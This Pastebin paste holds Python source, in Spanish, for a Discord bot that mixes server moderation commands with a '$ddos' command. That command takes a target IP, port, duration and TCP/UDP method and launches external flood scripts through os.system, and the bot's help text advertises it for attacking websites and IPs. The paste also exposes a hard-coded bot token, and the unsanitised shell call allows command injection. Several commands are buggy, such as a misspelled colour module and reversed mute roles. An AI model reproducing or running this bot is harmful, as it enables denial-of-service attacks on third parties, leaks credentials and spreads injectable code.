Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import discord
- import colorama
- import asyncio
- import random
- import os
- from colorama import *
- from discord.ext import commands, tasks
- from itertools import cycle
- token = 'NjQ1NzY1NzYxNTQ1MjczMzU0.XdIAsg.wqpEGeTiWR8XAzOrnANPOg2hIvg'
- client = commands.Bot(command_prefix = "$")
- client.remove_command('help')
- status = cycle(["Creditos a","Epsilon","Error403"])
- @client.event
- async def on_ready():
- print(Fore.YELLOW+"[INFO] Bot iniciado")
- change_status.start()
- @client.event
- async def on_command_error(ctx, error):
- pass
- @tasks.loop(seconds=1)
- async def change_status():
- await client.change_presence(activity=discord.Game(next(status)))
- @client.event
- async def on_member_join(member):
- print(fore.GREEN+f"[INFO] {member} a entrando un nuevo miembro")
- @client.event
- async def on_member_remove(member):
- print(fore.RED+f"[INFO]{member} a salido del servidor")
- @client.command()
- async def ping(ctx):
- await ctx.send(f"**Latencia: {client.latency * 1000}ms**")
- @client.command()
- @commands.has_permissions(manage_message=True)
- async def clear(ctx, amount = 1):
- await ctx.channel.purge(limit=amount)
- await ctx.send(f"**Eliminaste los mensajes existosamente**")
- @client.command()
- async def ddos(ctx, ip, port, time, metodo = ''):
- if ip == '':
- await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
- elif ip == '127.0.0.1':
- await ctx.send(f"**IP EN LA LISTA NEGRA!**")
- metodo == ''
- elif ip == '1.1.1.1':
- await ctx.send(f"**IP EN LA LISTA NEGRA!**")
- metodo == ''
- elif ip == '0.0.0.0':
- await ctx.send(f"**IP EN LA LISTA NEGRA!**")
- metodo == ''
- elif ip == 'localhost':
- metodo == ''
- await ctx.send(f"**IP EN LA LISTA NEGRA!**")
- if port == '':
- await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
- if time == '':
- await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
- if metodo == 'TCP':
- await ctx.send(f"**Atacando a " + ip + " con el puerto " + port + " por " + time + " segundos usando el metodo " + metodo + "**")
- os.system("start python Layer4.py " + ip + " " + port + " 300 " + time)
- elif metodo == 'UDP':
- await ctx.send(f"**Atacando a " + ip + " con el puerto " + port + " por " + time + " segundos usando el metodo " + metodo + "**")
- os.system("start python DontOpen.py " + ip + " " + port + " " + time)
- elif metodo == '':
- await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
- else:
- await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
- @client.command()
- async def metodos(ctx):
- await ctx.send(f"""
- **Metodos:**
- ```TCP - Ataque por el protocolo TCP```
- ```UDP - Ataque por el protocolo UDP```""")
- @client.command(pass_context=True)
- async def help(ctx):
- await ctx.send(f"""**Comandos usuarios:**
- $ping / revisa el ping de tu pc
- $ayuda / revisa los comandos del servidor
- **Comandos de exclusivos:**
- $ddos / atacka webs y ips
- **Comandos de personal:**
- $clear / borra mensajes del canal donde pones el comando
- $kick / saca un miembro del servidor
- $ban / banea a un miembro del servidor
- $mute / mutea a un miembro del servidor
- $unban / desbanea a un miembro del servidor
- $unmute / sacale el mute a un miembro del servidor""")
- @client.command()
- @commands.has_permissions(kick_members=True)
- async def kick(ctx, member : discord.Member, *, reason=None):
- await member.kick(reason=reason)
- await ctx.send(f"**Kickeaste existosamente a {member.mention}*")
- if not member:
- await ctx.send(f"**Espesifique el usuario**")
- return
- @client.command()
- @commands.has_permissions(ban_members=True)
- async def ban(ctx, member : discord.Member, *, reason=None):
- await member.ban(reason=reason)
- await ctx.send(f"**Baneaste existosamente a {member.mention}**")
- if not member:
- await ctx.send(f"**Espesifique el usuario**")
- return
- @client.command()
- @commands.has_permissions(ban_members=True)
- async def unban(ctx, *, member):
- banned_users = await ctx.guild.bans()
- for ban_entry in banned_users:
- user = ban_entry.user
- await ctx.guild.unban(user)
- await ctx.send(f'**Unbaneaste existosamente a {member.mention}**')
- if not member:
- await ctx.send(f"**Espesifique el usuario**")
- return
- @client.command()
- @commands.has_permissions(kick_members=True)
- async def mute(ctx, member : discord.Member, *, reason=None):
- role = discord.utils.get(ctx.guild.roles, name="Muted")
- role2 = discord.utils.get(ctx.guild.roles, name="Miembro")
- await member.add_roles(role)
- await member.remove_roles(role2)
- await ctx.send(f'**Muteaste existosamente a {member.mention}**')
- if not member:
- await ctx.send(f"**Espesifique el usuario**")
- return
- @client.command()
- @commands.has_permissions(kick_members=True)
- async def unmute(ctx, member : discord.Member, *, reason=None):
- role = discord.utils.get(ctx.guild.roles, name="Muted")
- role2 = discord.utils.get(ctx.guild.roles, name="Miembro")
- await member.remove_roles(role2)
- await member.add_roles(role)
- await ctx.send(f'**Unmuteaste existosamente a {member.mention}**')
- if not member:
- await ctx.send(f"**Espesifique el usuario**")
- return
- client.run(token)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement